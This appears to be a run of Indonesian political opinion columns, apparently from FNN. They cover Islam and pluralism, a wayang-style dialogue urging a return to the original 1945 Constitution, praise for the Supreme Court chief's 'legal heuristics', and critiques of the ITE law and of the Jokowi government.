menimbulkan gesekan yang cukup keras. Konflik masyarakat dunia pun tak bisa dihindari. Dinamika kehidupan mengajarkan kepada kita, jika para pemangku kepentingan besar berhadap-hadapan, maka yang berikutnya adalah konflik. Sejarah dunia telah menyajikan cerita kepada kita yang seperti itu. Di sela-sala kehadiran Islam, terdapat dua kekuatan besar, yakni Romawi dan Persia. Begitu juga pada abad ke-15, dimana Portugis dan Spanyol membagi kekuasaan dunia. Hingga akhir perang dunia II, muncul dua kekuatan besar, yakni blok barat dan blok timur. Perkembangan hari ini dunia dikategorikan dengan predikat negara maju dan negara berkembang berdasarkan klasifikasinya. Begitu pesatnya perkembangan dunia dan penyebaran ideologi, serta berbagai ajaran yang ikut mengeringinya. Begitu juga dengan ajaran Islam yang terus berkembang seiring berjalannya waktu. Interaksi antara ajaran Islam dengan ajaran-ajaran dan paham-paham yang lahir dari para filsuf atau pakar dalam ilmu pengetahuan sering mengalami benturan. Benturan antara ajaran Islam dengan kaum filsuf ini mengakibatkan disharmoni dalam kehidupan. Apalagi konflik tersebut menyerempet masuk kedalam ranah politik hingga kekuasaan negara. Ujung-ujungnya perseteruan akan terjadi antar sesama. Sejarah islam juga pernah mengalami masa kelam, up and down. Dimana pergantian kekuasaan sangat rentan dengan konflik. Banyaknya suku mengakibatkan eskalasi konflik yang semakin meningkat diantara mereka. Namun tidak sedikit harmonisasi agama, budaya dan ilmu pengetahuan yang berkembang selaras dalam lingkungan islam yang berpadu subur dengan umat-umat lain. Lihat saja pada Joel L. Kraemer (2003 : 155) “Abu Zakariyya merupakan penganut Kristen Jacobis yang lahir di Tikrik, dimana tempat tersebut merupakan pusat cendekiawan. Tempat untuk diskusi-diskusi mengenai theologi dan filsafat sering diselenggarkan di Tikrit. Baik itu di kalangan internal kaum Kristen maupun antara kaum Kristen dengan kaum Muslim”. Pada masa tersebut tolerasi Islam sangat tinggi terhadap beragam perbedaan. Artinya, Islam tidak pernah alergi dengan pluralitas dan perbedaan dalam masyarakat. Namun menurut keyakinan kaum muslimin bahwa perbedaan adalah sunnatullah dari sang maha pencipta. Jika diingkari, maka mendurhakai hukum-hukum dalam ajaran Islam. Perbedaan menjadikan kita berpikir lebih jernih dan terbuka untuk menerima realitas yang dihadapi. Tak bisa dipungkiri sikap keyakinan mayoritas kaum beragama terkadang tumbuh bagaikan warna yang hanya hitam dan putih. Sehingga justifikasi yang terjadi pada suatu kelompok atau kejadian hanya benar dan salah yang ada. Tidak selain salah dan benar. Sebagai agama yang mayoritas di Indonesia, Islam memiliki peran yang sangat besar dalam membentuk dan membangun Indonesia. Hanya saja, benturan yang terjadi belakangan ini menyeret-menyeret ajaran Islam masuk terlalu jauh ke ranah politik praktis dan kekuasaan. Kenyataan ini mengakibatkan dikotomi pemahaman dan partisan menjadi berkepanjangan. Bukannya hal ini menjadi salah di mata umat beragama atau ideologi lain yang saat ini berkembang. Namun terkadang fanatisme buta yang tumbuh secara berlebihan dari kelompok Islam tertentu yang mengakibatkan hubungan harmonis dalam lingkup pergaulan antar kehidupan berbangsa dan bernegara menjadi tercerai berai. Ajaran islam dihadapkan dengan tantangan-tantangan perkembangan zaman yang sungguh signifikan ini membuat benturan yang tidak terhindarkan. Benturan yang mengakibatkan gesekan terjadi di berbagai belahan dunia. Tidak dipungkiri bahwa kaum muslimin juga menjadi terpojok dan marjinal pada negara-negara tertentu. Pembunuhan, teror dan pengusiran secara besar-besaran pun terjadi sebagai dampak dari beberapa kejadian teror di dunia yang didalangi kelompok-kelompok yang mengatasnamakan Islam. Sejak abad 18 masehi, kekuatan Islam mengalami kemunduran dikarenakan ambisi perebuatan kekuasan yang mengakibatkan negeri-negeri Islam dan wilayah Timur Tengah dikuasai bangsa barat. Namun dalam waktu yang bersamaan bangsa-bangsa barat mencapai puncak kekuasaan dan kejayaan, hingga menguasai ilmu pengetahuan dan teknologi menjadi mutakhir. Sejarah mencatat kejadian ini, salah satu penyebab terjadi keruntuhan Islam karena klaim kebenaran kelompok. Sebaliknya, balik menuduh kelompok yang lain salah sehingga konflik menjadi tak terelakkan. Pembangunan stigma negatif tentang Islam bukan saja datang dari orang-orang yang menjadi musuh, melainkan juga datang dari kelompok-kelompok internal islam sendiri. Munculnya sitgma negatif tentang Islam ini diakibatkan karena panatisme yang berlebihan terhadap kelompok. Bukan patantisme kepada ajaran islam itu sendiri. Harusnya perbedaan dalam mazhab menjadi khasanah bagi umat Islam untuk selalu mengingat Allah Subhaanhu Wata’ala. Konflik internal dalam kaum muslimin tidak begitu sengit dan berkepanjangan jika dibandingkan dengan konflik agama Islam dan negara saat ini. Tersiar di seantero penjuru dunia, bahwa Islam menjadi tandingan atas negara-negara dengan prinsip dan keyakinan terkait struktur negara yang berbeda dengan sistem tatanan negara domokrasi hari ini. Sehingga menjadikan Islam dikategorikan sebagai ajaran yang anti perbedaan, atau istilah terkini intoleran. Samuel P. Huntington (1997:89) “demokrasi sangat jarang terdapat di negeri-negeri dimana mayoritas besar pendududknya beragama Islam, Budha atau Konfusius”. Artinya, semua negara-negara Islam sementara bertransformasi menuju sistem demokrasi. Sebagaimana agama kristen protestan dan katolik terdahulu. (bersambung). Penulis adalah Bakal Calon Ketua Umum PB HMI Kongres XXXI Surabaya.

Obrolan Punakawan ke-6, Mengapa Hanya GBHN, Seharusnya?

by Mayjen TNI (Purn.) Prijanto Jakarta FNN - Ada perkembangan menarik di tahun 2019/2020, terkait tuntutan “Kaji Ulang Hasil Amandemen UUD 1945” ataupun “Kembali ke UUD 1945 Asli Untuk Disempurnakan Dengan Adendum”. Menarik karena bergulir di masyarakat. Menarik kedua, karena sampai di telinga para wakil rakyat di DPR/MPR. Lebih menarik, karena ada respon dari elite politik setelah para tokoh pergerakan bersama masyarakat menyampaikan aspirasinya di MPR. Namun sayang, responnya setengah hati. Bagaimana tidak setengah hati? Perbincangan di elite politik, kelompok pertama hanya bilang perlunya GBHN. Kelompok kedua, ingin mengembalikan kedudukan MPR tetapi Pilpres tetap dengan Pilpres langsung. Kelompok tiga, ingin MPR dikembalikan seperti sebelum amandemen, tetapi suara ini nyaris tak terdengar. Semua berjalan alot, sehingga berhenti. Umumnya mereka punya kesadaran tenang perlu perencanaan pembangunan yang berkesinambungan. Di dalam UUD 1945 dinamai garis-garis besar daripada haluan negara atau GBHN. Beda dengan sistem presidensial hasil amandemen. Rencana pembangunan dari visi dan misinya Presiden. Sehingga, Presiden selesai menjabat, pergi tak pamit. Tak pula memberi pertanggungjawaban. Ini ngawur. Mereka ada juga yang sadar, bahwa sistem ketatanegaraan kita perlu MPR sebagai Lembaga Tertinggi Negara. Tetapi mereka kebingungan antara berpikiran pragmatis, partaiku atau golonganku dapat apa? Jarang yang berpikir strategis konseptual dalam kesisteman demi bangsa dan negara. Ujung-ujungnya kebingungan, karena berpikir sektoral. Akibatnya tidak menemukan kata sepakat, alias macet. Kabar tersebut tertangkap di kupingnya para punakawan. Seperti biasa para Punakawan Semar, Gareng (G), Petruk (P) dan Bagong (B) sambil makan singkong goreng dan secangkir kopi sore ngrumpi ngobrol soal-soal negara. G : Romo, jujur saja ya,… negara kita itu demokratis apa nggak sih? B : Romo, pertanyaan Gareng penting. Romo perlu menjawab. Semar : Anak-anakku bocah bagus, jika kalian rajin baca buku pengetahuan pasti ngerti. Kalian hanya baca komik, yo mesti bingung. P : Romo itu aneh, tidak menjawab malah nyindir. Petruk baca di media, sekarang demokrasi mati. Pak Kwiek Kian Gie, begitu juga yang lain, bilang takut jika mengutarakan pendapat yang beda. Padahal masuk era reformasi, maunya negara ini dibikin demokratis. Bagaimana pendapat Romo? Semar : Ngger anakku, demokratis atau tidak, ukurannya macem-macem. Tergantung sing ngomong. Dulu sistem pemerintahan kita ya demokratis. Cuma kata si pengamandemen UUD 1945 dan asing, tidak demokratis karena ada MPR dan Presiden dipilih MPR. Padahal “founding fathers” di Pembukaan UUD 1945 sudah menekankan “Negara Republik Indonesia yang berkedaulatan rakyat”. Berdasar kepada ‘………Kerakyatan yang dipimpin oleh hikmat kebijaksanaan dalam permusyawaratan /perwakilan, dan seterusnya. Nilai tersebut ditransformasikan ke dalam Pasal 1 ayat (2) UUD 1945, ‘Kedaulatan adalah di tangan rakyat, dan dilakukan sepenuhnya oleh MPR”. Sedang di Pasal 6 ayat (2), ‘Presiden dan Wakil Presiden dipilih oleh MPR dengan suara terbanyak”. Jadi kurang opo maneh? Negara berkedaulatan rakyat dan di tangan rakyat. Itu ciri negara demokratis. Jadi, negara demokratis kita. Kalau Pilpres oleh MPR, itu kan caranya. Karena ada yang pingin demokrasi liberal seperti Amerika Serikat, kita dibilang tidak demokratis. Padahal, Amerika Serikat saja Pilpres tidak seperti di Indonesia. Beberapa negara yang Kepala Pemerintahan dipegang Perdana Menteri, juga ada yang tidak dipilih langsung rakyat. Setelah Pilpres dipilih rakyat langsung, kita seperti dininabobokan. Bangga dapat nomor sebagai negara demokratis. G : Apa maksud Romo dininabobokan? B : Reng, kamu tahu lagu ninabobok? Karena dipuji sebagai negara demokratis, diantara kita banyak yang terlena. Mata dan hati tertutup, tertidur. Tidak mau mikir, pelaksanaan kedaulatan rakyat yang cocok untuk Indonsia itu sebenarnya seperti apa. Umumnya, jarang yang sadar, bahwa Pilpres dan Pilkada langsung sudah membelah persatuan kita. Mungkin ini maunya asing. Sistem ini ada yang menyukai, utamanya Parpol, karena diuntungkan. Hanya Parpol yang punya hak usung calon Presiden dan Wapres. Tetapi bagi kepentingan bangsa dan negara jelas merugikan, khususnya terhadap Persatuan Indonesia, tidak dihitung. Semar : Seratus untuk Bagong. Cara melaksanakan kedaulatan rakyat yang cocok dengan budaya kita adalah musyawarah perwakilan. Jangan dikira “founding fathers” kita tidak ngerti sistem-sistem barat itu. Bapak bangsa kita ngerti, tetapi tidak milih demokrasi barat, karena bisa merusak budaya kita. Kalian pasti mengamati, sejak ada Pilpres dan Pilkada langsung, sosial budaya kita rusak. Ketidakjujuran dan ketidakadilan menjamur. Orang mudah bohong, memfitnah, mencaci, umbar kebencian, tidak ada toleran, korupsi, dan radikal. Bukan saja rakyat kecil, pejabat dan kelas menangah ke atas pun ikut melakukan. Perpecahan terjadi tidak saja di keluarga, tetapi juga di RT, RW, organisasi-organisasi, masyarakat luas, dan lain-lain. B : Apa yang diomongkan Romo benar. Kondisi sosial budaya kita sebelum Pilpres langsung tidak seperti ini. Padahal Persatuan Indonesia itu sangat penting bagi kehidupan kita. Persatuan yang dibangun susah payah untuk melawan penjajah, sekarang mudah dirusak, akibat salah pilih cara pemilihan Presiden. G : Tapi anehnya, elite politik kok malah berpikir akan mendahulukan bikin GBHN dibanding mencari penyebab rusaknya sosial budaya, dan mancari jalan keluar agar Persatuan Indonesia tidak koyak ya? Semar : Romo juga heran. Untuk apa mendahulukan GBHN, tetapi persatuan terbelah? Pembangunan itu memerlukan persatuan dan stabilitas dalam segala bidang. Makanya cita-cita nasional, “Persatuan” itu nomor dua setelah merdeka. Mestinya cara berpikirnya tidak sepotong-potong, tetapi harus komprehensif dan integral dalam sebuah sistem. G, P, B : Haa… apa itu Romo? Nalarnya bagaimana? Semar : Gampangnya begini tole anakku. Kalian kalau mau mendirikan rumah kan bikin podasi dulu. Nah, ketika kita akan mendirikan negara Indonesia merdeka, para “founding fathers” pertama-tama juga mencari, menyusun atau membuat pondasi negara yang disebut “Dasar Negara”. Romo tidak akan ngulangi prosesnya ya. Kalian sudah ngerti bukan? B : Betul. Bagong ingat, Romo pernah cerita. Bagong juga baca beberapa literatur yang memberikan penjelasan, nilai-nilai dalam Pancasila itu bersumber dari budaya bangsa. Buku tulisan Yudi Latif : “Negara Paripurna, Historisitas, Rasionalitas, dan Aktualitas Pancasila”. Juga buku Prof. Dr. H. Kaelan, M.S. : “Filsafat Hukum Pancasila dan Semiotika Hukum Pancasila” dan bukunya Prof. Dr. Aidul Fitriciada Azhari : “Rekonstruksi Tradisi Bernegara Dalam UUD 1945” memberikan gambaran yang jelas tentang Pancasila. Semar : Wouuw… kamu hebat Bagong. Romo ngaku kalah. Mata Romo sudah tak tahan baca. B : He he he…. Tetapi lanjutannya Romo saja. Semar : Baik tole anakku. Setelah dasar negara Pancasila disepakati, selanjutnya nyusun Hukum Dasar atau Undang-Undang Dasar, yang dikenal dengan UUD 1945. Nah, pasal-pasal UUD 1945 itu merupakan jabaran dari nilai-nilai Dasar Negara, Pancasila yang ada di Pembukaan UUD 1945. Kalau Bung Karno mengenalkan Sila keempat Pancasila sebagai Demokrasinya Indonesia, maka pasal-pasal dalam Undang-Undang Dasar ya harus ngikuti nilai-nilai tersebut bukan? Coba bayangkan, kalian bikin rumah dengan pondasi gaya Betawi. Tetapi di atasnya kalian bangun gaya Spanyolan, bisa nggak? Kuat nggak? Tentu mudah roboh karena arsitektur bangunan beda dengan pondasinya. G, B, P : Ha ha ha… karena Romo tidak punya gelar profesor doktor, njelasinya ya gaya Warung Tegal. Lugas, gamblang, murah dan kenyang. Romo tidak pakai istilah demokrasi barat, demokrasi liberal, “one man one vote” yang invidualistis, sehingga gamping bangiit, saya menerimanya. Semar : Kalau GBHN disusun MPR, berarti perlu legalitas. Padahal MPR saat ini tidak punya produk hukum lagi. Ketetapan MPR sudah tidak ada lagi. Agar Presiden tunduk untuk melaksanakan GBHN dari MPR, berarti Presiden harus “Mandataris MPR”. Padahal Parpol masih suka Pilpres dipilih langsung rakyat, jadi mana mungkin? Belum lagi soal siapa anggota MPR saat ini. Anggota DPR plus DPD, nyaris orang-orang Parpol semua. Semua anggota melalui pemilihan yang sarat dengan “money politic”. Tidak ada Utusan Golongan dan Utusan Daerah sebagaimana ciptaan “founding fathers”. Sehingga keterwakilan rakyat tidak tampak. MPR bukan lagi sebagai representasi rakyat Indonesia. Dengan demikian, jika sistem masih menggunakan demokrasi liberal, maka yang kuat itu yang menang. Pemilik modal atau kapitalis yang menang. Tidak menutup kemungkinan para konseptor GBHN adalah jago-jagonya kaum kapitalis. Mereka akan leluasa mendikte, pembangunan apa yang mereka inginkan. Karena mereka sudah menguasai lahan dan tambang (misalnya). Mereka bisa saja mendikte untuk memindahkan Ibu kota Negara, Propinsi ataupun Kabupaten. Mereka bisa mendikte memindahkan ataupun membuat lapangan terbang dan pelabuhan yang bisa mendukung kepentingannya. Semua tersusun dalam GBHN dengan argumentasi yang cantik, sehingga bisa diterima, walaupun tentu ada yang mengkritisi. Tetapi apalah artinya kritik, jika sistem sudah dikuasai pemilik modal. Apalah artinya GBHN yang disusun MPR itu, jika Presiden bukan Mandataris MPR. Apakah akan dipaksakan? Pemaksaan Presiden yang bukan Mandataris MPR untuk melaksanakan GBHN produk MPR, jelas itu penyimpangan dari pemahaman Presidensial, dimana Presiden dipilih rakyat langsung. Dalam sistem Presdiensial, pembangunan didasarkan visi dan misinya Presiden, walaupun hanya dipilih 50 % plus 1 orang. B : Waduh… apakah yang disampaikan Romo tersebut yang akhirnya angin sepoi-sepoi MPR akan bikin GBHN maju mundur, terus macet? Semar : Bagong anakku cah bagus, Romo ora ngerti opo sebabnya. Penjelasan Romo tadi, pendapat Romo saja. Romo hanya ingin membandingkan dengan pemikirannya “founding fathers” yang runtut seperti ini. Setelah Dasar Negara ditetapkan, nilai-nilainya melandasi sistem ketatanegaraan ke dalam pasal-pasal UUD 1945. Kedaulatan rakyat dilakukan sepenuhnya oleh MPR (Ps. 1 ayat 2). Siapa MPR? MPR representasi rakyat Indonesia, anggotanya diatur (Ps.2 ayat 1). Bagaimana rakyat bisa menyalurkan keinginan membangun negara untuk kesejahteraan? MPR diberi kewenangan menetapkan GBHN (Ps. 3). GBHN tentu ada yang menjalankan. Siapa? Ya Presiden. Dalam “Sistem Pemerintahan Negara” ditentukan Presiden sebagai penyelenggara pemerintahan negara tertinggi di bawahnya MPR. Kemudian dalam “Kekuasaan Pemerintahan Negara”, kekuasaan dan kewenangan Presiden, cara pemilihan Presiden, semua diatur dalam Pasal 4, 5, dan 6 UUD 1945. Inilah yang disebut dengan “Sistem Pemerintahan Sendiri” atau Sistem Pemerintahan MPR. Prijanto dari Gerakan Kebangkitan Indonesia (GKI) lebih suka menyebut dengan Sistem Pemerintahan Pancasila. Mengapa, karena dilandasi nilai-nilai Pancasila. Negara lain memakai sistem Parlementer, Presidensial atau kombinasi keduanya, silakan saja. Kita harus bangga dengan milik dan cara sendiri. Baca : (https://rmol.id/read/2021/02/06/473938/menepis-pendapat-amien-rais-bagian-6-soal-presiden-memegang-kekuasaan-membentuk-undang-undang) (Google) B : Romo hebat. Rasa nasionalisme Romo seperti “founding fathers”. Saat ini, sulit dicari tandingannya. Lanjutken Romo. Semar : Sehingga pertanyaan kritisnya “Mengapa hanya GBHN yang dipikirkan”? Konon kata petinggi Parpol, masalah Pilpres secara langsung tunda dulu. Ini kan pikiran yang sifatnya sektoral. Apa karena Pilpres secara langsung memberi kenikmatan Parpol, sehingga ditunda dan dibiarkan? Padahal Pilpres secara langsung merusak Persatuan Indonesia. Seharusnya semua berpikir komprehensif dan integral. Tinggalkan kepentingan kelompok dan golongan, menatap ke depan demi bangsa dan negara. Persatuan Indonesia adalah utama, GBHN dari MPR sangat diperlukan, Presiden sebagai Mandataris MPR agar bisa melaksanakan amanat GBHN syarat utama. G : Sore ini Romo panjang banget ceritanya. Biasanya kalau ditulis paling 900-an kata. Tetapi sore ini lebih dari 1600 kata. G, P, B : Terima kasih Romo atas penjelasannya. Semar : Romo juga terima kasih, kalian mau mendengarkan. Semoga ngerti dan bermanfaat. Insya Allah, aamiin. Penulis adalah Aster Kasad 2006-2007/Wagub DKI 2007-2012 & Rumah Kebangkitan Indonesia.

Heuristika Hukum Menjawab Tantangan Berhukum Indonesia

by Dr. Margarito Kamis SH. M.Hum. Jakarta FNN - Konsep heuristika hukum merupakan suatu lompatan berpikir yang cerdas dan mengagumkan. Konsep ini sangat futuristik, holistik dan menukik di tengah kebekuan penarapan hukum normatif yang tidak menjawab rasa keadilan masyarakat hari ini. Gagasan besar dari Yang Mulia Prof. Dr. H. Muhammad Syarifuddin SH. MH. tentang Heuristika hukum bisa memecahkan kebekuan dan kekakuan hukum kekinian. Kekauan dan kebekuan yang terkesan lamban dalam menjawab tantangan dan perubahan zaman. Ide dan gagasan heuristika hukum merupakan buah dari pemikiran Yang Mulia Ketua Mahkaham Agung H.M Syarifuddin selama menyelami dan menjiwai dunia berhukum sebagai hakim kurang lebih 35 tahun. Ketua Mahkamah Agung ini menyadari betul ada problematika klasik dalam penegakan hukum korupsi yang belum mendapatkan jawaban secara tuntas. Tidak saja dalam dunia akademis, melainkan juga dalam dunia praktik hukum. Permasalahan tersebut muncul sebagai akibat dari ketentuan hukum normatif dalam Undang-Undang Tindak Pidana Korupsi. Terutama yang berkaitan dengan penafsiran terhadap ketentuan pasal 2 dan pasal 3 UU Tipikor. Kedua pasal ini memberikan ruang penafsiran yang sangat leber kepada penegak hukum, termasuk para hakim untuk menentukan besaran dan lamanya hukuman yang dijatuhkan kepada pelaku tindak pidana korupsi. Penegakan hukum korupsi di Indonesia terkadang sangat kaku. Bahkan kurang memberi rasa keadilan dan kemanfaatan hukum kepada para pihak. Kenyatan ini sebagai akibat dari model penafsiran hukum oleh hakim yang ansih hanya bersifat legalistik formal semata. Hakim terkesan sangat kaku. Malah tidak berani keluar dari pakem normatif formalisitk. Hakim tidak berani tampil out of the box dalam penjatuhan sanksi pidana di pengadilan. Yang di dunia peradilan dikenal dengan istilah Judicial Aktivism. Oleh karena itu, sudah sangat tepat ajakan dari Yang Mulia Prof. Dr. Muhammad Syarifuddin kepada teman-teman sejawatnya sesama hakim, agar jangan terpaku pada aturan normatif semata. Hakim harus berfikir secara holistik dan progresif dalam mengedepankan nilai-nilai kemanusiaan demi mewujudkan keadilan sejati. Keadilan yang tidak hanya bermanfaat untuk manusia dan pencari keadilan di dunia. Tetapi juga bermanfaat untuk hakim ketika di depan pengadilan Allah Subhaanahu Wata’ala. Sebab semua putusan hakim ada pertanggungjawaban di depan pengadilan akhirat. Ajakan dari Yang Mulia Prof. Dr. Muhammad Syarifuddin ini sejalan dengan karekter dan prinsip-prinsip pemidanaan dari Yang Mulai Hakim Syuraih, seorang hakim yang sangat terkenal dalam sejaraah peradaban Islam. Yang Mulia Hakim Syuraih terkenal di masa Khalifah Umar Bin Khatab Radiallahu Anhu sampai dengan Khalifah Ali Bin Abi Thalib Karramallahu Wajhah. Yang Mulia Ketua Mahkamah Agung menuangkan konsep heuristika hukum dalam pidatonya saat pengkuhan sebagai Guru Besar Tidak Tetap pada Fakultas Hukum Universitas Diponegoro Semarang. Konsep ini sebagai terobosan penting dan strategis. Heuristika ini adalah bentuk lain ijtihad seorang dalam membuat keputusan. Konsep heuristika hukum baru terdengar sebagai sebuah motode di jagat raya penegakan hukum di Indonesia. Khususnya dalam proses penegakan hukum tindak pidana korupsi. Namun ini merupakan suatu lompatan berfikir yang futuristik untuk memecahkan kekakuan dan kebekuan hukum normatif, yang terkesan lamban dalam menjawab tantangan dan perubahan zaman. Yang mulia Prof. Dr. Syarifuddin sudah sangat tepat dengan dan layak dengan konsep heuristika hukum. Apalagi sebagai orang yang menduduki puncak pimpinan tertinggi di Lembaga Peradilan Indonesia. Tentu saja konsep ini berangkat teori dan pengalamannya selama menjadi hakim. Konsep heuristika juga lahir dari pergolakan pemikiran secara teoritis. Tujuan dari konsep heuristika hukum adalah memberikan solusi bagi kebuntuan hukum normatif yang ada saat ini. Kebuntuan yang banyak dialami para hakim. Kebuntuan yang terkadang tidak mampu untuk menyelesaikan masalah hukum yang terjadi di tengah-tengah masyarakat, terutama dalam rangka memberikan layanan keadilan bagi para pencari keadilan di pengadilan. Konsep heuristika hukum ini lahir dari pergolakan batin Yang Mulia Prof Dr. Syarifuddin yang panjang sebagai seorang hakim, yang mengedepankan hati nurani. Pergolakan batin dalam menjatuhkan putusan untuk menegakan hukum dan keadilan secara substantif. Keadilan tanpa mengesampingkan aspek kepastian dan kemanfaatan hukum. Karena menjadi sesuatu yang baru di Indonesia, maka konsep heuristika hukum perlu disosialisasikan dan dibedah melalui forum-forum diskusi ilmiah di kalangan akademisi dan praktisi hukum. Tujuannya, agar konsep ini bisa diuji eksistensinya. Terutama dalam rangka menjawab problem penegakan hukum, khususnya di lembaga peradilan. Sebagai sebuah gagasan, sudah tentu pasti terjadi pro dan kontra. Namun pro-kontra adalah hal yang wajar di kalangan akademisi. Pro-kontra yang tentu saja untuk menambah dinamika dan dialektika wajah hukum Indonesia. Juga untuk memperkaya intelektual seiring lahirnya konsep heuristika hukum. Dalam pidatonya, Ketua Mahkamah Agung, Yang Mulia Prof. Dr. Muhammad Syarifuddin mangatakan tantangan penegakan hukum adalah dalam hal disparitas pemidanaan. Lebih spesifik lagi dalam contoh kasus putusan perkara tindak pidana korupsi yang memiliki isu hukum yang sama maupun adanya kesamaan pada unsur-unsur tindak pidana korupsi. Namun tetap saja terdapat kesenjangan hukuman tanpa alasan yang jelas terkait adanya disparitas pemidanaan tersebut dalam putusan hakim. Disparitas ini menyebabkan terjadinya degradasi bagi kepercayaan masyarakat terhadap berbagai putusan pengadilan yang dianggap tidak konsisten. Dalam konteks yang lebih luas, kenyataan ini semakin melebarkan jarak antara ekspektasi masyarakat terhadap putusan hakim dan tujuan hukum. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Revisi UU ITE, Seriuskah Presiden Jokowi

PRESIDEN Joko Widodo menyatakan pemerintah akan melakukan revisi UU Informasi Transaksi Eltronik (ITE). UU tersebut selama ini dianggap sangat merugikan. Membuat rakyat makin takut melakukan kritik kepada pemerintah. Ada kesan yang sangat kuat, UU itu selama ini digunakan untuk membungkam kelompok-kelompok kritis. Lawan pemerintah. UU ITE juga menjadi etalase betapa UU itu diterapkan secara tidak adil. Tajam kepada kelompok oposisi. Tumpul kepada para pendukung kekuasaan. Sebagai langkah awal, Presiden meminta Polri lebih selektif dalam menerapkan UU tersebut. Tidak semua pengaduan harus diproses. Apalagi bila si pengadu tak ada kaitannya. Bukan mereka yang secara langsung dirugikan. Kapolri sendiri bertindak cepat. Dia meminta Kapolda dan Kapolres untuk segera membuat pedoman. Intinya Polri akan mengedapankan restorative justice. Musyawarah antara yang merasa dirugikan dengan yang merugikan. Kasus itu juga berupa delik aduan. Jadi yang merasa dirugikanlah yang harus melaporkan. Selama ini semua kritik terhadap rezim penguasa, selalu dilaporkan oleh mereka-mereka yang dikenal sebagai spesialis pelapor. Semua laporan itu langsung diproses polisi. Sebaliknya laporan terhadap para pendukung pemerintah tidak pernah ditindaklanjuti. Sebelum menyampaikan niatnya untuk merevisi UU ITE, Presiden Jokowi sudah menyatakan keinginannya agar masyarakat lebih banyak menyampaikan masukan dan kritik kepada pemerintah. Respon dari publik tak seperti diharapkan pemerintah. Banyak yang menganggap permintaan Presiden sebagai lelucon yang tidak lucu. Namun, tampaknya pemerintah ingin menunjukkan keseriusannya. Presiden Jokowi kemudian menyampaikan wacana adanya revisi UU ITE. Sebagai bukti keseriusannya ketika bertemu dengan pemimpin sejumlah media di Istana Rabu (17/2) Presiden Jokowi menyatakan sudah memerintahkan Menkuham untuk menyiapkan draft revisi. Seperti gayung bersambut, semua fraksi di DPR menyambut baik. Mereka memahami masyarakat sudah jenuh dengan aksi saling lapor. Tentu kita menyambut baik itikad dari pemerintah. Sejak awal, kita mendorong pemerintah untuk segera turun menghentikan perpecahan di tengah masyarakat. Yang sangat mengkhawatirkan, ada kesan kuat justru pemerintah lah yang menjadi bagian dari perpecahan itu. Pemerintah memeilihara para buzzer dan para pelapor sebagai senjata menghadapi kelompok kritis dan oposisi. Seperti dua anjing penjaga yang siap menyalak, manakala majikannya ada yang mengganggu. Revisi UU ITE diharapkan menjadi tahap awal. Bahwa pemerintah serius untuk kembali merekatkan ikatan bangsa yang terpecah belah, pasca Pilpres 2019. Bila dibirakan berlarut, bisa terjadi Balkanisasi. Indonesia bisa terpecah belah seperti negara-negara eks Yugoslavia. Revisi UU ITE hendaknya diikuti dengan berbagai langkah demokratisasi lainnya. Revisi UU Pemilu, penghapusan ambang batas pencalonan presiden 20%. Pembatalan UU Omnibus Law, UU Stabilitas Keuangan Nasional, UU Minerba, dan berbagai perundang-undangan lain yang dilahirkan secara tidak demokratis. Sangat jelas pandemi Covid-19 dimanfaatkan oleh kelompok kepentingan. Kelompok oligarki menyelundupkan sejumlah peraturan perundang-undangan yang hanya menguntungkan mereka. Kita mendorong Presiden Jokowi untuk terus mengembalikan proses demokratisasi ke jalur semula. Tugas itu tidak mudah. Di tengah ketidak percayaan masyarakat yang begitu meluas di satu sisi. Dan kepentingan oligarki yang mencengkeram erat-erat kekuasaan. Tunjukkan bahwa kali ini sebagai Presiden Anda bersungguh-sungguh. punya niat baik. Bukan seorang Presiden yang sering menebar harapan palsu. Sebuah citra yang selama ini melekat erat pada Presiden Jokowi. Sebagai Presiden Anda masih punya waktu untuk membuat sebuah warisan. Menyelamatkan demokrasi yang tengah dibajak oligarki. **

Pemerintahan Jokowi Semakin Lemah?

by M. Rizal Fadillah Bandung FNN- Meski sulit mempercayai begitu saja ucapan Presiden, namun ada fenomena yang ada patut mendapat pencermatan. Dua hal yang menarik pernyataan dari pemerintahan Presiden Jokowi belakangan ini. Pertama, permintaan agar masyarakat banyak melakukan kritik yang keras kepada pemerintah. Kedua, pengusulan agar dilakukan revisi terhadap Undang-Undang Informatika dan Tekonologi Elektronik (ITE) Nomor 11 Tahun 2008. Rupanya Presiden kalayu sadar bahwa UU ITE telah banyak ditafsirkan salah oleh aparat penegak hukum di lapangan. Polisi asal main tangkap, dan menetapkan orang sebagai tersangka. Urusan benar-salah, itu belakangan. Yang penting tangkap, tangkap dan tangkap saja dulu. Itu terlihat pada penangkapan disertai penetapan tersangka kepada Dr. Syahganda Nainggolan, Jumhur Hidayat, Dr. Anton Permana, Ustazah Kingkin dan kawan-kawan. Membuka pintu kritik dan revisi UU ITE positifnya adalah terjadi proses demokratisasi yang meluas di masyarakat. Namun yang masih menjadi pertanyaan besar adalah, apakah kenyataan ini sebagai pertanda paradigma baru bahwa kepemimpinan Presiden Jokowi yang percaya diri dan semakin kuat? Atau hanya cermin bahwa Pemerintah semakin lemah ? Sejak menjabat Presiden untuk periode kedua, situasi ekonomi dan politik terasa semakin berat. Penanganan seperti tak terarah. Apa yang dirasakan dan menjadi kegelisahan rakyat selalu dicoba untuk ditutupi. Pandemi Covid 19 berefek pada hutang yang semakin membengkak, investasi mandeg, serta pertumbuhan ekonomi yang negatif. Kasus Habib Rizieq Shuhab (HRS) dan Front Pembela Islam (FPI) yang berujung pada tuduhan terjadinya pelanggaran Hak Asasi Manusia (HAM). Demikian juga dengan penahanan terhadap para tokoh dan aktivis yang bernuansa politik. UU ITE menjadi alasan atas pelanggarannya. Namun korupsi terus terkuak. Mulai dari Jiwasraya, Asabri, BPJS Tenaga Kerja hingga Bantuan Sosial (Bansos) Covid 19. Desakan untuk mundur serta pemakzulan akibat ketidakmampuan melaksanakan teta kelola negara yang baik dan benar menjadi wacana dan tuntutan publik. Sementara Presiden nampak terus kesulitan memacu kerja dan mengendalikan kabinetnya. Para menteri anggota kabinet seolah-olah berjalan sendiri-sendiri tanpa visi yang jelas. Apalagi prestasi segala. “Jauh panggang dari api”, kata orang tua-tua dari kampung-kapung. Pemborosan dan kebocoran keuangan terjadi hampir di semua anggaran Kementerian dan Lembaga Pemerintah Non Deparetemen. Sehingga membuka pintu kritik yang dilempar Presiden tanpa dibarengi oleh pembebasan tahanan politik adalah omong kosong semata. Hanya janji, seperti janji-janji lain, yang tidak bisa direalisasikan Presiden Jokowi. Revisi terhadap UU ITE pun ditanggapi beragam. Ada yang setuju ada pula yang mendorong dicabut saja. UU ITE dinilai sama dengan UU Anti Subversi. Di tengah pengelolaan negara yang semakin berantakan, maka sikap 